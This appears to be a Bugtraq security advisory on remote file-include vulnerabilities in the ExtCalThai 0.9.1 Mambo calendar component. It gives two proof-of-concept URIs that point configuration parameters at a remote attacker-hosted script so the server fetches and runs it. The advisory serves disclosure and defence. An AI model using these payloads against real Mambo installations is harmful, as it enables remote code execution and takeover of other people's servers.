ExtCalThai Mambo Component Multiple Remote File Include Vulnerabilities

Bugtraq ID:	20487
Class:	Input Validation Error
CVE:
Remote:	Yes
Local:	No
Published:	Oct 12 2006 12:00AM
Updated:	Oct 13 2006 04:39PM
Credit:	k1tk4t is credited with the discovery of these vulnerabilities.
Vulnerable:	MamboLaiThai ExtCalThai 0.9.1
Not Vulnerable:

ExtCalThai Mambo Component Multiple Remote File Include Vulnerabilities

ExtCalThai is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.

Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.

ExtCalThai 0.9.1 and prior verions are vulnerable; other versions may also be affected.

ExtCalThai Mambo Component Multiple Remote File Include Vulnerabilities

An attacker can exploit these issues via a web client.

The following proof-of-concept URIs are available:

http://www.example.com/MamboV4.6RC2/components/com_extcalendar/admin_events.php?CONFIG_EXT[LANGUAGES_DIR]=http://shell/cmd.gif?
http://www.example.com/MamboV4.6RC2/components/com_extcalendar/lib/mail.inc.php?CONFIG_EXT[LIB_DIR]=http://shell/cmd.gif?

ExtCalThai Mambo Component Multiple Remote File Include Vulnerabilities

Solution:
Currently we are not aware of any vendor-supplied patches for these issues. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected]:[email protected].

ExtCalThai Mambo Component Multiple Remote File Include Vulnerabilities

References:

• Vendor Homepage (MamboLaiThai)
  
• ExtCalThai_Component <= 0.9.1 Remote File Inclusion (k1tk4t)